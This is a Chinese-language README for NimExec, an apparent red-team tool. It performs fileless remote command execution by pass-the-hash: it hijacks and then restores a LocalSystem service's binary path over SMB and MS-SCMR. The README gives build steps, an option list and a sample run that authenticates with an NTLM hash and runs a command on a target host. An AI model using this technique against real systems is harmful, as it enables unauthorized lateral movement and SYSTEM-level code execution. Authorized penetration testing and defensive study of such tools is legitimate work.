基本上,NimExec 是一种无文件远程命令执行工具,它使用服务控制管理器远程协议(MS-SCMR)。它更改由 LocalSystem 运行的随机或指定服务的二进制路径,以在目标上执行给定命令,之后通过手工构造的 RPC 数据包(而非 WinAPI 调用)恢复原路径。它通过 SMB2 和 svcctl 命名管道发送这些数据包。
NimExec 需要一个 NTLM 哈希来向目标机器进行身份验证,然后通过手工构造的数据包,使用 NTLM 身份验证方法完成此认证过程。
由于所有必要的网络数据包都是手动构造的,并且没有使用特定于操作系统的函数,因此利用 Nim 的跨平台编译支持,NimExec 可以在不同的操作系统上使用。
本项目受 Julio 的 SharpNoPSExec 工具启发。你可以认为 NimExec 是 SharpNoPSExec 的跨平台编译版本,并内置了 Pass the Hash 支持。另外,我学习了所需的网络数据包结构,参考自 Kevin Robertson 的 Invoke-SMBExec 脚本。
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
上述命令使用了不同的垃圾回收器,因为 Nim 的默认垃圾回收器在服务搜索过程中会抛出一些 SIGSEGV 错误。
此外,你可以通过 Nimble 使用以下命令安装所需的 Nim 模块:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .-------------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] 已连接到 10.200.2.2:445
[+] 使用哈希的 NTLM 身份验证成功!
[+] 已连接到目标的 IPC 共享!
[+] 已打开 svcctl 管道的句柄!
[+] 已绑定到 RPC 接口!
[+] RPC 绑定已确认!
[+] 已获取 SCManager 句柄!
[+] 获取到的服务数量:265
[+] 选定的服务是 LxpSvc
[+] 服务:LxpSvc 已打开!
[+] 先前的服务路径是:C:\Windows\system32\svchost.exe -k netsvcs
[+] 服务配置已更改!
[!] StartServiceW 返回值:1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] 服务启动请求已发送!
[+] 服务配置已恢复!
[+] 服务句柄已关闭!
[+] 服务管理器句柄已关闭!
[+] SMB 已关闭!
[+] 树已断开!
[+] 会话已注销!
已在 Windows 10 和 11、Windows Server 2016、2019 和 2022(从 Ubuntu 20.04 和 Windows 10 机器发起)上测试通过。
-v | --verbose 启用更详细的输出。
-u | --username <用户名> 用于 NTLM 身份验证的用户名。*
-h | --hash <NTLM 哈希> 用于 NTLM 身份验证的 NTLM 密码哈希。**
-p | --password <密码> 明文密码。**
-t | --target <目标> 横向移动目标。*
-c | --command <命令> 要执行的命令。*
-d | --domain <域名> 用于 NTLM 身份验证的域名。
-s | --service <服务名称> 指定服务名称,而不是随机选择。
--help 显示帮助信息。
仅用于授权的安全测试。未经明确许可使用此工具针对系统是违法的。